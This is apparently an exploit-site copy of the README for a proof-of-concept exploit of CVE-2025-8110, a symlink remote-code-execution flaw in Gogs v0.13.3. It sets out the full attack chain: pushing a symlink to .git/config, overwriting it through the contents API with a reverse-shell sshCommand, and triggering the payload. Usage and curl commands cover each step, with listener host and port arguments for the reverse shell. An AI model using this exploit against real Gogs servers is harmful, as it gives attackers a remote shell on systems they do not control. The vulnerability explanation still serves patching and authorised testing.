## https://sploitus.com/exploit?id=367E9695-EE89-5742-B10C-0D6DE6FC7EAE
# CVE-2025-8110 PoC
Python proof-of-concept script for triggering the Gogs v0.13.3 `UpdateRepoFile` symlink RCE path via `PUT /api/v1/repos/{owner}/{repo}/contents/{filepath}`.
>โ ๏ธ For educational and authorized security research only.
Running this tool against systems you do not own or lack written permission to test is illegal.
## Details
- PoC for `CVE-2025-8110`
- Affected version: Gogs `v0.13.3`
- Patched version: Gogs `v0.13.4`
- Reference: https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp
## Vulnerable Behavior
The `UpdateRepoFile` handler in `internal/db/repo_editor.go` calls `os.WriteFile` to write file content, which follows symlinks without checking for them. Combined with the fact that previous commits of symlinks traverse into `.git/`, an attacker can:
1. Push a symlink `x` โ `.git/config` to the bare repo
2. Call `PUT /api/v1/repos/{owner}/{repo}/contents/x` to write a malicious `.git/config` with `core.sshCommand` set to a reverse shell command
3. A subsequent API edit triggers `git fetch origin`, which reads the modified config and executes `sshCommand` โ spawning a reverse shell
## Files
- `poc.py`: prompts for target, username, password, LHOST, and LPORT; logs in, creates an API token, creates a repository, pushes a symlink, overwrites `.git/config` via the API, and triggers the payload
## Usage
Run:
```bash
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
```
### Arguments
| Argument | Required | Description |
|----------------|----------|--------------------------------------|
| `--target` / `-t` | Yes | Gogs target hostname or URL |
| `--username` | Yes | Existing Gogs username |
| `--password` | Yes | Existing Gogs password |
| `--lhost` | Yes | Listener IP for reverse shell |
| `--lport` | Yes | Listener port |
## How it works
1. **Login** โ logs into the Gogs web interface with the provided credentials
2. **Token** โ creates a personal API token via `/user/settings/applications`
3. **Repo** โ creates a new empty repository via the Gogs API
4. **Push symlink** โ clones the repo, creates a symlink `x โ .git/config`, commits and pushes it
5. **Overwrite `.git/config`** โ sends `PUT /api/v1/repos/{owner}/{repo}/contents/x` with a malicious git config containing `core.sshCommand` and an SSH remote URL
6. **Trigger** โ sends a second PUT request to the same endpoint, which causes Gogs to call `git fetch origin` โ this reads the poisoned config and executes the reverse shell
## Equivalent curl
### Login & get CSRF
```bash
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=&user_name=&password='
```
### Create API token
```bash
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=&name=poc-token'
```
### Create repo
```bash
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token " \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
```
### Push symlink
```bash
git clone http://:@target//poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
```
### Overwrite `.git/config` (first PUT โ fails with 500)
```bash
curl -X PUT http://target/api/v1/repos//poc-repo/contents/x \
-H "Authorization: token " \
-H "Content-Type: application/json" \
-d '{"message":"x","content":""}'
```
### Trigger payload (second PUT โ executes sshCommand)
```bash
curl -X PUT http://target/api/v1/repos//poc-repo/contents/x \
-H "Authorization: token " \
-H "Content-Type: application/json" \
-d '{"message":"trigger","content":""}'
```